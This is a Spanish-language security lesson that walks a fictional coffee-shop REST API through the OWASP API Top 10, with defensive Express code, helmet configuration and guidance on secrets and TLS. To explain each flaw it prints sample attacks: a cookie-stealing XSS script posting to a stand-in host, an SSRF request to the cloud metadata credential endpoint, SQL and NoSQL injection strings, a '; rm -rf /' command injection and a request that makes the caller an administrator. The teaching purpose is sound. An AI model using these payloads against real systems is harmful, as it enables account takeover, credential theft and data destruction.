La API de Tienda Aroma ya tiene autenticación con JWT, autorización por rol y por propiedad, validación estricta con Zod y sentencias preparadas contra la base de datos. Eso no la hace segura: la hace no obviamente insegura, que es un punto de partida, no una meta. Un atacante no busca vulnerabilidades en abstracto; busca el pedido de otro cliente, el campo que no validaste, el endpoint de pruebas que dejaste desplegado y la clave que se coló en el repositorio.

Esta lección recorre el panorama de amenazas de una API REST con el proyecto delante. Usaremos el OWASP API Security Top 10 como mapa —es el estándar del sector y el vocabulario que se usa en cualquier auditoría—, pero cada punto se ilustra con una petición concreta contra Tienda Aroma y se cierra con la defensa exacta, indicando en qué fichero vive. Añadiremos helmet a src/app.js en su posición precisa dentro de la cadena, veremos qué hacer con los secretos, qué obligaciones aparecen en cuanto tocas datos personales y cómo se aceptan imágenes sin abrir un agujero. Al final tendrás un modelo de amenazas ligero para el proyecto.

Advertencia importante. Esta lección enseña a reconocer y mitigar clases de vulnerabilidad conocidas, y a construir con un nivel de higiene razonable. No sustituye a una revisión de seguridad profesional. Antes de exponer a Internet una API que maneje dinero o datos personales reales, el diseño y la implementación deben ser revisados por alguien especializado, y conviene una prueba de penetración. Todos los datos de este curso son ficticios.

Contenido

  1. Cómo piensa un atacante frente a una API
  2. OWASP API Security Top 10 sobre Tienda Aroma
  3. API1: BOLA, la vulnerabilidad número uno
  4. API2 y API5: autenticación rota y autorización a nivel de función
  5. API3: exposición excesiva de datos y asignación masiva
  6. API4: consumo ilimitado de recursos
  7. API7: SSRF
  8. API8: mala configuración de seguridad
  9. API9: gestión del inventario de APIs
  10. Transporte: TLS, HSTS y por qué nunca se acepta HTTP
  11. Inyecciones: SQL, NoSQL, comandos y XSS a través de la API
  12. Cabeceras de seguridad y helmet en src/app.js
  13. Gestión de secretos
  14. Datos personales y RGPD
  15. Subida de imágenes de café
  16. Dependencias y cadena de suministro
  17. Modelo de amenazas ligero de Tienda Aroma

  1. Cómo piensa un atacante frente a una API

Antes del catálogo, conviene entender el cambio de perspectiva. Cuando aseguras una aplicación web clásica, el atacante interactúa con las pantallas que le enseñas. Cuando aseguras una API, el atacante interactúa con todos los endpoints a la vez, en el orden que quiera, con los parámetros que quiera, sin pasar por tu SPA.

Tres consecuencias prácticas que gobiernan todo lo demás:

  • No existe la validación en el cliente. Cualquier comprobación que haga la SPA es una mejora de usabilidad, jamás una defensa. curl no ejecuta tu JavaScript.
  • Cada endpoint es una puerta independiente. Que /v1/pedidos compruebe la propiedad del recurso no significa nada sobre /v1/pedidos/{id}/factura. Las 24 URIs del contrato son 24 superficies.
  • El atacante ya tiene una cuenta. El escenario más rentable no es entrar sin credenciales: es registrarse como cliente normal —algo que tu API permite y debe permitir— y desde ahí llegar a datos ajenos. Por eso la mayoría de las vulnerabilidades reales son de autorización, no de autenticación.
graph TD
  A[Atacante con cuenta de cliente legitima] --> B[Enumera endpoints: docs, JS de la SPA, OpenAPI]
  B --> C[Prueba ids ajenos: ped_5000, ped_5002]
  B --> D[Manda campos de mas: rol, activo, saldo]
  B --> E[Cambia el metodo: GET a PUT o DELETE]
  B --> F[Busca endpoints sin autenticacion: /v1-test, /debug]
  C --> G[BOLA: lee pedidos de otros]
  D --> H[Asignacion masiva: se hace administrador]
  E --> I[Autorizacion de funcion rota]
  F --> J[Inventario descontrolado]

  1. OWASP API Security Top 10 sobre Tienda Aroma

El OWASP API Security Top 10 es la lista de las diez clases de vulnerabilidad más frecuentes y dañinas en APIs, publicada por la Open Worldwide Application Security Project. La versión vigente es la de 2023.

Nombre En Tienda Aroma Estado
API1 BOLA — autorización rota a nivel de objeto Leer ped_5001 siendo otro cliente Mitigado en 03-06; se refuerza aquí
API2 Autenticación rota Fuerza bruta en POST /v1/sesiones, JWT mal validado Parcial; ver 04-03 y 04-04
API3 Exposición de propiedades a nivel de objeto Devolver hashContrasena; aceptar "rol" en el registro Mitigado: mapeador + .strict()
API4 Consumo ilimitado de recursos ?limite=100000, expandir sin tope, subidas grandes Parcial; se cierra en 04-04
API5 Autorización rota a nivel de función Un cliente llamando a POST /v1/cafes Mitigado con exigirRol
API6 Acceso sin restricción a flujos de negocio sensibles Comprar todo el stock de una edición limitada con un script Diseño + límites (04-04)
API7 SSRF La API descarga la imagen de un café desde una URL dada Pendiente: apartado 7
API8 Mala configuración de seguridad Faltan cabeceras, CORS abierto, stack traces en producción Se cierra aquí y en 04-05
API9 Gestión inadecuada del inventario /v1-beta olvidado, entorno de pruebas expuesto Proceso: apartado 9
API10 Consumo inseguro de APIs de terceros Confiar en la respuesta de RápidoEnvíos sin validar Apartado 7

Fíjate en un dato revelador: cinco de los diez son problemas de autorización o de exposición de datos, no de criptografía ni de inyecciones. La seguridad de una API se juega sobre todo en "quién puede ver y hacer qué", que es exactamente donde menos ayudan las herramientas automáticas, porque solo tú sabes qué es correcto en tu dominio.

  1. API1: BOLA, la vulnerabilidad número uno

BOLA (Broken Object Level Authorization), también llamada IDOR (Insecure Direct Object Reference), es la vulnerabilidad más frecuente y más explotada de las APIs. El mecanismo es trivial:

# Marta (cli_842) se autentica legítimamente.
curl -s -X POST https://api.tiendaaroma.example/v1/sesiones \
  -H 'Content-Type: application/json' \
  -d '{"email":"[email protected]","contrasena":"UnaClaveFicticia123"}'
# → 200 { "accessToken": "eyJhbGciOi..." }

# Su propio pedido: correcto.
curl -s https://api.tiendaaroma.example/v1/pedidos/ped_5001 \
  -H 'Authorization: Bearer eyJhbGciOi...'
# → 200

# Y ahora prueba el de al lado.
curl -s https://api.tiendaaroma.example/v1/pedidos/ped_5002 \
  -H 'Authorization: Bearer eyJhbGciOi...'
# → ¿200? Entonces tienes un BOLA.

El token es válido, la ruta existe, el recurso existe. La autenticación funciona perfectamente y la API está comprometida, porque nadie ha comprobado que ese pedido sea de quien lo pide. Con un bucle de 10.000 iteraciones el atacante se lleva la base de pedidos entera, con nombres, direcciones e importes.

La defensa, que ya implementamos en 03-06, tiene que enunciarse como regla sin excepciones:

Toda operación que recibe un identificador en la URI debe comprobar que el sujeto autenticado tiene derecho sobre ESE objeto concreto, en cada petición.

// src/servicios/pedidos.js — la comprobación de propiedad, revisada
export async function obtenerPedido(id, solicitante) {
  const pedido = await repositorios.pedidos.porId(id);

  // 1. No existe: 404.
  if (!pedido) throw errores.noEncontrado('pedido_no_encontrado', `No existe el pedido ${id}.`);

  // 2. Existe pero no es suyo y no tiene rol elevado.
  //    Se responde 404, NO 403: ver más abajo.
  const esPropietario = pedido.clienteId === solicitante.id;
  const esPersonal = solicitante.rol === 'empleado' || solicitante.rol === 'administrador';
  if (!esPropietario && !esPersonal) {
    throw errores.noEncontrado('pedido_no_encontrado', `No existe el pedido ${id}.`);
  }

  return pedido;
}

Cuatro detalles que marcan la diferencia entre una comprobación real y una decorativa:

Responder 404 y no 403 cuando el recurso es ajeno. Un 403 confirma que ped_5002 existe, y eso ya es información: permite enumerar cuántos pedidos hay y cuándo se crean. El 404 no distingue "no existe" de "no es tuyo", que es justo lo que queremos. La excepción es cuando el recurso es público y el problema es solo el permiso de escritura; ahí 403 permisos_insuficientes es correcto y más útil.

La comprobación va en el servicio, no en el controlador. Si vive en el controlador, el día que otro controlador reutilice el servicio, la comprobación desaparece sin que nadie lo note.

El sujeto sale del token, nunca de la petición. Este es el error clásico:

// ❌ CATASTRÓFICO: el cliente decide quién es.
const pedidos = await repositorios.pedidos.porCliente(req.query.clienteId);

// ✅ El identificador sale del token verificado.
const clienteId = req.usuario.rol === 'cliente' ? req.usuario.id : req.query.clienteId;

Los identificadores opacos no son una defensa, pero ayudan. ped_5001 es secuencial y adivinable; un UUID como ped_9f3a... no lo es. Eso no arregla el BOLA —un atacante que obtenga un identificador por otra vía sigue accediendo—, pero convierte un barrido masivo en un ataque dirigido. Es defensa en profundidad, no sustituto.

Y hay que probarlo. La única forma de que un BOLA no vuelva es una prueba de integración que falle si alguien quita la comprobación; en 03-08 escribimos exactamente esa prueba, y hay que escribir una por cada recurso con dueño.

  1. API2 y API5: autenticación rota y autorización a nivel de función

Autenticación rota (API2)

Los fallos habituales y su estado en el proyecto:

Fallo Riesgo Defensa Dónde
Contraseñas en claro o con MD5/SHA1 Volcado de la BD = todas las cuentas bcrypt con coste ≥ 12 03-06
Fuerza bruta contra /v1/sesiones Cuentas comprometidas Límite estricto por IP y por correo 04-04
Enumeración de usuarios Lista de correos válidos Mismo mensaje y tiempo para correo o contraseña erróneos 03-06
Token sin caducidad Robo permanente exp corto (15 min) + refresh 03-06
Aceptar alg: none o HS/RS confundidos Falsificación total de tokens Fijar el algoritmo esperado al verificar Abajo
Secreto de firma débil Firma falsificable ≥ 32 bytes aleatorios, en el gestor de secretos Apartado 13
Token en la URL Queda en logs, historial y Referer Solo en Authorization: Bearer Contrato

El de alg: none merece código, porque es un fallo de una línea con consecuencias totales:

// ❌ VULNERABLE: acepta el algoritmo que diga el propio token.
jwt.verify(token, entorno.jwtSecreto);

// ✅ Se fija el algoritmo esperado; un token con alg:none o alg:RS256 se rechaza.
jwt.verify(token, entorno.jwtSecreto, {
  algorithms: ['HS256'],           // lista blanca cerrada
  issuer: 'api.tiendaaroma.example',
  audience: 'tiendaaroma-spa',
  clockTolerance: 5,               // segundos de margen por desajuste de reloj
});

Sin algorithms, un atacante puede presentar un token con la cabecera {"alg":"none"} y sin firma, o firmar con HMAC usando como clave la clave pública RSA cuando el servidor espera RS256. Ambos ataques son históricos, están automatizados en cualquier herramienta y se cierran con esa lista blanca.

Autorización a nivel de función (API5)

Si BOLA es "puedo ver el objeto de otro", API5 es "puedo ejecutar una función que no me corresponde":

# Marta es rol 'cliente'. Prueba a crear un café.
curl -s -X POST https://api.tiendaaroma.example/v1/cafes \
  -H 'Authorization: Bearer <token de cliente>' \
  -H 'Content-Type: application/json' \
  -d '{"nombre":"Café pirata","origen":"Ninguno","tueste":"claro","precioEuros":0.01,"stock":9999}'
# Debe responder 403 permisos_insuficientes

El exigirRol('empleado','administrador') de 03-06 lo cubre, pero la vulnerabilidad reaparece siempre por la misma vía: el endpoint nuevo que se despliega sin el middleware. Tres medidas de proceso valen más que cualquier código:

  • Denegar por defecto: que la ausencia de decisión sea "prohibido", no "permitido".
  • Matriz de permisos escrita (la de 03-06) revisada en cada pull request que añade una ruta.
  • Una prueba por celda de la matriz: cada rol contra cada operación sensible.

Y un fallo específico que se cuela con frecuencia: cambiar el método sobre la misma ruta. Si GET /v1/cafes/{id} es público y PUT /v1/cafes/{id} exige rol, comprueba que el PUT realmente lo exige y que un PATCH no queda sin proteger porque se añadió después. El router.all(...) con metodoNoPermitido(...) que ya cierra cada ruta ayuda, porque un método no declarado devuelve 405 en lugar de caer en un manejador inesperado.

  1. API3: exposición excesiva de datos y asignación masiva

Son las dos caras del mismo error: dejar que el modelo interno se comunique directamente con el mundo.

Exposición excesiva (salida)

// ❌ Lo que sale si haces res.json(filaDeLaBaseDeDatos)
{
  "id": "cli_842",
  "email": "[email protected]",
  "hash_contrasena": "$2b$12$K7x...",
  "telefono": "+34 600 000 000",
  "direccion": "Calle Ficticia 1, Valencia",
  "activo": 1,
  "rol": "cliente",
  "intentos_fallidos": 2,
  "token_recuperacion": "rec_9f3a2b...",
  "notas_internas": "Cliente reclamó dos veces"
}

Cada campo de más es una vulnerabilidad distinta: el hash permite un ataque de diccionario offline, token_recuperacion permite tomar la cuenta, notas_internas es un problema de RGPD y de reputación, y intentos_fallidos ayuda a temporizar un ataque.

La defensa está en el mapeador de 03-03 y consiste en una lista blanca, nunca en una lista negra:

// src/servicios/mapeadores.js
export function aClientePublico(fila) {
  return {                       // lista BLANCA: solo esto sale
    id: fila.id,
    nombre: fila.nombre,
    email: fila.email,
  };
}

La diferencia entre lista blanca y lista negra no es estilística: con lista negra (delete fila.hash_contrasena), la columna que añadas dentro de seis meses se publica sola. Con lista blanca, el peor caso es que un campo nuevo no aparezca hasta que lo añadas, que es un bug inofensivo.

Y hay un segundo nivel que se olvida: qué campos ve cada rol. El correo de un cliente puede ser visible para él y para un empleado, y no para otro cliente que lea una reseña suya. Eso implica que el mapeador a veces necesita saber quién pregunta:

export function aClienteSegunRol(fila, solicitante) {
  const base = { id: fila.id, nombre: fila.nombre };
  const esElMismo = solicitante?.id === fila.id;
  const esPersonal = solicitante?.rol === 'empleado' || solicitante?.rol === 'administrador';
  if (esElMismo || esPersonal) {
    return { ...base, email: fila.email, telefono: fila.telefono };
  }
  return base;                   // un tercero solo ve id y nombre
}

Asignación masiva (entrada)

El ataque clásico, en dos líneas:

curl -s -X POST https://api.tiendaaroma.example/v1/clientes \
  -H 'Content-Type: application/json' \
  -d '{"nombre":"Atacante","email":"[email protected]","contrasena":"Ficticia123","rol":"administrador"}'

Si el controlador hace repositorio.crear(req.body), acabas de regalar la tienda. Lo mismo con "activo": true para saltarse la verificación de correo, "saldo": 1000 en un monedero o "version": 99 para saltarse la concurrencia optimista.

En Tienda Aroma esto ya estaba bloqueado desde 03-04, y merece la pena ver exactamente por qué:

// src/esquemas/clientes.js
export const esquemaRegistro = z
  .object({
    nombre: z.string().min(2).max(80),
    email: z.string().email(),
    contrasena: z.string().min(10).max(128),
  })
  .strict();          // ← ESTA línea es la defensa

.strict() hace que Zod rechace cualquier clave que no esté declarada, devolviendo 400 datos_invalidos. Sin .strict(), Zod usa el modo por defecto: elimina silenciosamente las claves desconocidas del objeto resultante. Eso también protegería si y solo si el controlador usa el resultado validado y no req.body original —que es la trampa donde cae mucha gente:

// ❌ Valida y luego ignora la validación: el rol vuelve a entrar.
validar(esquemaRegistro, 'body');
const cliente = await servicio.registrar(req.body);          // ← el original, sucio

// ✅ Se usa SIEMPRE el objeto validado.
const cliente = await servicio.registrar(req.datosValidados); // ← limpio y tipado

Por eso el middleware validar de 03-04 deja el resultado en req.datosValidados y los controladores solo leen de ahí. Es una convención con valor de seguridad, no de estilo.

Enfoque Campo nuevo en la BD Campo desconocido en la petición Veredicto
repositorio.crear(req.body) Se escribe solo Se escribe Vulnerable
Zod sin .strict() + req.body Se escribe solo Se escribe Vulnerable
Zod sin .strict() + validado No se escribe Se descarta en silencio Aceptable
Zod con .strict() + validado No se escribe 400 explícito Correcto

La última fila es mejor que la tercera por una razón que va más allá de la seguridad: el 400 avisa al consumidor honesto de que su campo tiene una errata, en vez de dejarle creer que ha guardado algo.

  1. API4: consumo ilimitado de recursos

Un atacante no siempre quiere tus datos; a veces le basta con que tu API deje de funcionar, o con que tu factura de infraestructura se dispare. Los vectores en Tienda Aroma:

Vector Petición Defensa Dónde
Peticiones masivas 10.000 GET /v1/cafes por segundo Rate limiting 04-04
Página gigante ?limite=1000000 Máximo 100, validado 03-03
Desplazamiento profundo ?desplazamiento=50000000 Máximo 10.000 03-03
Expansión anidada expandir=lineas.cafe.resenas.autor Profundidad 2 + lista blanca 04-01
Cuerpo enorme POST de 500 MB express.json({limit:'100kb'}) 03-02
Búsqueda costosa ?q= con comodines sobre 4M de filas Índice, longitud mínima, límite propio 03-05 / 04-04
Subida de imágenes 200 ficheros de 50 MB Tamaño, número y tipo Apartado 15
Correos y SMS Registro repetido para gastar tu cuota Límite por IP y por destinatario 04-04

Tres ya estaban puestos, tres se cierran en la siguiente lección y uno en esta. Lo importante ahora es reconocer el patrón común: cualquier parámetro que el consumidor controle y que multiplique tu trabajo es un vector de disponibilidad. Cuando diseñes un parámetro nuevo, la pregunta obligatoria es "¿cuál es el valor más caro que puede mandarme?".

  1. API7: SSRF

SSRF (Server-Side Request Forgery) ocurre cuando tu servidor hace una petición de red a una URL que decide el usuario. Aparece de forma natural en Tienda Aroma en cuanto se acepta una imagen por URL:

POST /v1/cafes/caf_001/imagen HTTP/1.1
Content-Type: application/json

{ "url": "https://cdn.ejemplo.example/etiopia.jpg" }

Tu servidor descarga esa URL. Ahora el atacante manda:

{ "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/" }

Esa dirección es el servicio de metadatos de la mayoría de nubes: desde dentro de la máquina devuelve credenciales temporales de la cuenta. Otras variantes: http://localhost:6379 para hablar con tu Redis, http://10.0.3.14:5432 para escanear la red interna, o file:///etc/passwd.

La defensa es una lista blanca de destinos, no una lista negra de direcciones:

// src/servicios/descargas.js
import dns from 'node:dns/promises';
import net from 'node:net';

const DOMINIOS_PERMITIDOS = new Set(['cdn.ejemplo.example', 'imagenes.tiendaaroma.example']);

function esPrivada(ip) {
  if (net.isIPv4(ip)) {
    const [a, b] = ip.split('.').map(Number);
    return a === 10 || a === 127 || (a === 172 && b >= 16 && b <= 31) ||
           (a === 192 && b === 168) || (a === 169 && b === 254) || a === 0;
  }
  return ip === '::1' || ip.startsWith('fc') || ip.startsWith('fd') || ip.startsWith('fe80');
}

export async function descargarImagenSegura(urlTexto) {
  const url = new URL(urlTexto);

  // 1. Solo HTTPS: nada de file://, gopher://, ftp://.
  if (url.protocol !== 'https:') throw errores.datosInvalidos('El esquema debe ser https.');

  // 2. Lista blanca de dominios.
  if (!DOMINIOS_PERMITIDOS.has(url.hostname)) {
    throw errores.datosInvalidos('Dominio de imagen no permitido.');
  }

  // 3. Resolver el nombre y comprobar que NO apunta a una IP interna.
  const { address } = await dns.lookup(url.hostname);
  if (esPrivada(address)) throw errores.datosInvalidos('Destino no permitido.');

  // 4. Sin seguir redirecciones: una redirección 302 puede llevar a 169.254.169.254.
  const respuesta = await fetch(url, { redirect: 'error', signal: AbortSignal.timeout(5000) });
  return respuesta;
}

Los pasos 3 y 4 son los que se olvidan. El 3 evita que un dominio permitido apunte deliberadamente a una IP interna; el 4, que una redirección lo haga después de la comprobación. Aun así queda una carrera conocida (DNS rebinding: el nombre se resuelve a una IP distinta entre la comprobación y la conexión), y por eso la solución robusta en producción es hacer estas descargas desde una red aislada o un proxy de salida con lista blanca, no solo con código.

Y la contrapartida (API10): cuando consumes una API de terceros, como la de RápidoEnvíos, su respuesta es entrada no confiable. Se valida con un esquema igual que la de un cliente, se le pone timeout y no se reenvía tal cual a tus consumidores.

  1. API8: mala configuración de seguridad

Es la categoría más aburrida y la que más incidentes causa, porque no requiere ninguna habilidad para explotarla. La lista de comprobación para Tienda Aroma:

Punto Estado deseado Cómo se verifica
x-powered-by Desactivado Ya en src/app.js
Stack traces en producción Nunca NODE_ENV, validado al arrancar (03-01)
Cabeceras de seguridad helmet Apartado 12
CORS Lista blanca, no * con credenciales 04-05
Métodos HTTP Solo los declarados; 405 en el resto metodoNoPermitido
TLS Obligatorio, versión ≥ 1.2 Apartado 10
Puertos administrativos No expuestos (SQLite, Redis, métricas) Red y firewall
Ficheros del repositorio .env, .git, backups fuera del servidor Despliegue
Mensajes de error Sin versiones ni rutas 03-07
Registro por defecto Sin rol elevado, sin activo:true automático Esquemas
Depuración --inspect jamás en producción Arranque

Merece atención un caso concreto y muy real: el directorio .git servido. Si el despliegue copia el repositorio entero a la raíz web, cualquiera descarga tu historial completo, incluidos los secretos que borraste en un commit posterior. Y el .env: si algún día alguien pone un express.static('.') para servir un fichero, sirve también el .env con la clave de firma.

  1. API9: gestión inadecuada del inventario

No puedes proteger lo que no sabes que existe. Los casos típicos, todos vistos en producción real:

  • La versión anterior sigue en pie. Retiras /v1 cuando sale /v2, pero el proceso viejo sigue escuchando y sin los parches nuevos.
  • El entorno de pruebas es público. api-pruebas.tiendaaroma.example con datos reales copiados de producción, sin rate limiting y con usuarios de prueba de contraseña test1234.
  • Endpoints de depuración olvidados. /debug/estado, /v1/_admin/reset, /salud/detallado devolviendo la configuración completa.
  • Documentación interactiva expuesta. Un Swagger UI público que lista todos los endpoints internos, incluidos los que no querías anunciar.
  • Un subdominio apuntando a un servicio que ya no controlas, que permite a un tercero servir contenido bajo tu dominio.

Las medidas son de proceso, no de código:

  1. Inventario escrito de entornos y versiones desplegadas, con responsable y fecha de retirada.
  2. openapi.yaml como fuente única: si un endpoint no está en el contrato, no debe estar desplegado. Un test de humo puede comparar las rutas registradas en Express con las del YAML y fallar si sobra alguna.
  3. Datos de prueba sintéticos: nunca una copia de producción en pruebas; es además una infracción de RGPD.
  4. Retirada con fecha: el proceso de Deprecation/Sunset de 02-07 termina apagando el servicio, no solo documentando.

  1. Transporte: TLS, HSTS y por qué nunca se acepta HTTP

Sin TLS, todo lo demás es decorativo: el token Bearer viaja en claro y cualquiera en la misma red lo lee y lo reutiliza.

Reglas no negociables:

  • HTTPS en todo el dominio de la API, sin excepciones, ni siquiera en /salud.
  • TLS 1.2 como mínimo, preferiblemente 1.3. SSLv3, TLS 1.0 y 1.1 están retirados.
  • HTTP solo para redirigir. El puerto 80 responde 301 hacia https:// y nada más.
  • HSTS, para que el navegador no vuelva a intentar HTTP.
HTTP/1.1 301 Moved Permanently
Location: https://api.tiendaaroma.example/v1/cafes
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

max-age=31536000 son 365 días: durante ese tiempo el navegador convierte cualquier http:// de ese host en https:// antes de enviar nada, lo que cierra la ventana del primer salto donde se roba el token. includeSubDomains extiende la política a todos los subdominios —cuidado si alguno no tiene certificado, dejará de funcionar—, y preload permite inscribir el dominio en la lista que los navegadores traen de fábrica, con lo que la protección existe incluso en la primera visita. preload es difícil de revertir: no lo pongas hasta estar seguro.

Una advertencia importante sobre el ámbito: HSTS solo lo entienden los navegadores. La app Aroma Móvil y el servidor de RápidoEnvíos no lo aplican, así que para ellos la defensa es no aceptar HTTP en absoluto y, en el caso de la app móvil, fijar el certificado (certificate pinning) si el riesgo lo justifica.

En la práctica, el TLS de Tienda Aroma no lo termina Express: lo termina el balanceador o la CDN que está delante. Eso significa que Express recibe HTTP por dentro y necesita saber que la petición original era segura, algo que se configura con app.set('trust proxy', 1) y que tiene consecuencias directas en el rate limiting por IP (04-04) y en las cookies Secure.

  1. Inyecciones: SQL, NoSQL, comandos y XSS a través de la API

SQL

Ya está mitigada, pero conviene ver exactamente por qué. En 03-05 todas las consultas usan sentencias preparadas de better-sqlite3:

// ✅ Sentencia preparada: el valor NUNCA se interpreta como SQL.
const consulta = db.prepare('SELECT * FROM cafes WHERE origen = ? AND precio_centimos <= ?');
const filas = consulta.all(origen, precioMaxCentimos);

// ❌ Concatenación: `origen = 'x' OR '1'='1'` vacía la tabla; `; DROP TABLE cafes;--` la borra.
const filas = db.prepare(`SELECT * FROM cafes WHERE origen = '${origen}'`).all();

La diferencia técnica es que la sentencia preparada envía la estructura de la consulta y los datos por caminos separados: el motor ya ha decidido qué es sintaxis antes de ver tu valor.

Hay un punto que las sentencias preparadas no cubren: los identificadores (nombres de columna y dirección de orden) no pueden parametrizarse. Y ahí es donde entra ?ordenar=:

// ❌ Inyección por el nombre de columna.
db.prepare(`SELECT * FROM cafes ORDER BY ${req.query.ordenar}`).all();

// ✅ Lista blanca: el texto del usuario solo SELECCIONA de un mapa fijo.
const COLUMNAS = { nombre: 'nombre', precioEuros: 'precio_centimos', stock: 'stock', id: 'id' };
const campo = COLUMNAS[campoPedido];
if (!campo) throw errores.datosInvalidos(`El campo '${campoPedido}' no es ordenable.`);
const direccion = descendente ? 'DESC' : 'ASC';   // valores fijos, no del usuario
db.prepare(`SELECT * FROM cafes ORDER BY ${campo} ${direccion}, id ASC`).all();

El principio general: si algo no se puede parametrizar, se selecciona de una lista blanca; nunca se concatena texto del usuario.

NoSQL

Tienda Aroma usa SQLite, pero conviene reconocer el patrón porque es muy común. En MongoDB, si pasas directamente un objeto JSON como filtro:

{ "email": "[email protected]", "contrasena": { "$gt": "" } }

{"$gt": ""} es un operador que significa "cualquier valor mayor que la cadena vacía", es decir, cualquier contraseña. La defensa no es escapar: es validar los tipos con Zod antes de tocar la base de datos, de modo que contrasena deba ser una cadena y un objeto se rechace con 400. Otra vez, la validación estricta de 03-04 es una defensa de seguridad, no solo de calidad de datos.

Comandos

Si algún día generas una miniatura llamando a un binario:

import { execFile } from 'node:child_process';

// ❌ exec pasa por el shell: `; rm -rf /` se ejecuta.
exec(`convert ${nombreFichero} -resize 200x200 salida.jpg`);

// ✅ execFile no usa shell y los argumentos van separados.
execFile('convert', [rutaValidada, '-resize', '200x200', rutaSalida]);

Y con la ruta validada aparte, para evitar el path traversal (../../etc/passwd): nunca se construye una ruta de fichero concatenando texto del usuario; se genera un nombre propio.

XSS reflejado a través de una API

Una API que devuelve JSON no ejecuta HTML, así que parece inmune. No lo es del todo, por dos vías:

Almacenamiento y reflejo. Si el comentario de una reseña contiene <script>fetch('https://malo.example?c='+document.cookie)</script>, tu API lo guarda tal cual y lo devuelve tal cual. El problema estalla en la SPA si esta lo inserta con innerHTML. La responsabilidad principal del escapado es del cliente —porque solo él sabe en qué contexto lo pinta—, pero la API puede y debe ayudar: rechazar o sanear HTML en campos que no lo necesitan, y limitar longitudes.

Respuesta interpretada como HTML. Si tu API devuelve un error con el texto del usuario reflejado y un Content-Type erróneo o ausente, un navegador puede intentar adivinarlo (MIME sniffing) y ejecutarlo. Las dos defensas son la cabecera X-Content-Type-Options: nosniff y devolver siempre Content-Type: application/json explícito. Justo lo que entra ahora.

  1. Cabeceras de seguridad y helmet en src/app.js

helmet es un middleware que fija un conjunto de cabeceras de seguridad con valores sensatos por defecto. Fue pensado para aplicaciones que sirven HTML, así que en una API JSON algunas cabeceras son irrelevantes y otras son importantes; hay que saber cuáles.

npm install helmet
// src/middleware/seguridad.js  (fichero NUEVO)
import helmet from 'helmet';

/**
 * Cabeceras de seguridad para una API que solo devuelve JSON.
 * Se desactivan explícitamente las políticas pensadas para HTML,
 * y se dejan las que sí protegen a un consumidor de API.
 */
export const cabecerasSeguridad = helmet({
  // 1. CSP restrictiva: la API no sirve HTML ni carga recursos.
  //    Si un navegador acabara interpretando una respuesta, no podría ejecutar nada.
  contentSecurityPolicy: {
    useDefaults: false,
    directives: {
      "default-src": ["'none'"],
      "frame-ancestors": ["'none'"],
      "base-uri": ["'none'"],
      "form-action": ["'none'"],
    },
  },

  // 2. HSTS: un año, subdominios incluidos. Sin 'preload' hasta estar seguros.
  hsts: { maxAge: 31536000, includeSubDomains: true, preload: false },

  // 3. nosniff: prohíbe adivinar el tipo de contenido.
  noSniff: true,

  // 4. Sin Referer hacia otros orígenes: las URIs llevan ids de recurso.
  referrerPolicy: { policy: 'no-referrer' },

  // 5. No incrustable en un iframe.
  frameguard: { action: 'deny' },

  // 6. Oculta la tecnología (redundante con app.disable, se deja por si acaso).
  hidePoweredBy: true,

  // --- Desactivadas: solo aplican a documentos HTML ---
  crossOriginEmbedderPolicy: false,   // rompería consumidores legítimos sin aportar nada
  crossOriginOpenerPolicy: false,     // solo tiene sentido en ventanas de navegador
  originAgentCluster: false,
});

Qué hace cada cabecera y cuánto importa en una API:

Cabecera Valor Qué hace Importancia en una API JSON
Strict-Transport-Security max-age=31536000; includeSubDomains Fuerza HTTPS en el navegador Alta
X-Content-Type-Options nosniff Impide adivinar el tipo Alta
Content-Security-Policy default-src 'none' Nada se puede cargar ni ejecutar Media (defensa en profundidad)
Referrer-Policy no-referrer No filtra la URI a terceros Media
X-Frame-Options DENY No embebible Baja (no hay UI)
Cross-Origin-Resource-Policy same-origin Limita quién incrusta la respuesta Baja; ojo: puede estorbar a CORS
X-XSS-Protection 0 Desactiva un filtro obsoleto y peligroso Baja
X-DNS-Prefetch-Control off Prefetch de DNS Nula

Una advertencia práctica: crossOriginResourcePolicy en same-origin puede bloquear a la SPA en algunos escenarios de navegador. Si tu API tiene consumidores en otros orígenes —y Tienda Aroma los tiene—, ajústala a cross-origin o desactívala, y confía en CORS para el control de acceso. Ese ajuste se decide en 04-05 junto con el resto de la política.

La posición exacta en la cadena

// src/app.js  (extracto tras 04-02)
import express from 'express';
import { rutasV1 } from './rutas/index.js';
import { asignarTrazaId } from './middleware/traza.js';
import { cabecerasSeguridad } from './middleware/seguridad.js';   // ← NUEVO
import { manejadorNoEncontrado } from './middleware/no-encontrado.js';
import { manejadorErrores } from './middleware/errores.js';

export const app = express();

app.disable('x-powered-by');                 // 1
app.use(asignarTrazaId);                     // 2
app.use(cabecerasSeguridad);                 // 3 ← NUEVO: antes que nada que responda
// (4) cors            → 04-05
// (5) registro        → 04-07 sustituye el console.log actual
// (6) limitarPeticiones → 04-04
app.use(express.json({ limit: '100kb', type: ['application/json', 'application/merge-patch+json'] }));
app.use(express.urlencoded({ extended: false, limit: '10kb' }));
app.get('/salud', (req, res) => res.json({ estado: 'ok' }));
app.use('/v1', rutasV1);
app.use(manejadorNoEncontrado);
app.use(manejadorErrores);

Por qué en la posición 3, después de la traza y antes de todo lo demás. helmet fija cabeceras en la respuesta; para que esas cabeceras estén presentes en todas las respuestas —incluidos los 429 del rate limiter, los 400 del parser de JSON, los 404 de ruta desconocida y los 500 del manejador de errores— tiene que ejecutarse antes que cualquier middleware capaz de responder. Va después de asignarTrazaId únicamente porque la traza debe existir desde el primer instante para poder correlacionar cualquier cosa que ocurra después, incluido un fallo dentro del propio helmet.

Verificación rápida:

curl -sI https://api.tiendaaroma.example/v1/cafes | grep -Ei 'strict-transport|content-type-options|content-security|referrer'

  1. Gestión de secretos

Un secreto es cualquier valor cuya divulgación compromete el sistema: la clave de firma de los JWT, la contraseña de la base de datos, la clave HMAC de los webhooks a RápidoEnvíos, las credenciales del proveedor de pago.

Las reglas mínimas:

Regla Motivo
Nunca en el código fuente El repositorio se clona, se comparte y guarda el historial para siempre
Nunca en el repositorio, ni en .env .env va en .gitignore; solo se versiona .env.example con valores falsos
Se inyectan como variables de entorno Es el contrato estándar de todo despliegue moderno
Distintos por entorno Un secreto de pruebas nunca abre producción
Largos y aleatorios 32 bytes de crypto.randomBytes, no secreto123
Rotables sin parar el servicio Ver abajo
Nunca en los logs ni en las URLs Ver 04-07

En 03-01 ya validamos la configuración al arrancar; conviene añadir la comprobación de robustez, porque un secreto débil en producción es tan grave como ninguno:

// src/config/entorno.js  (fragmento)
const esquemaEntorno = z.object({
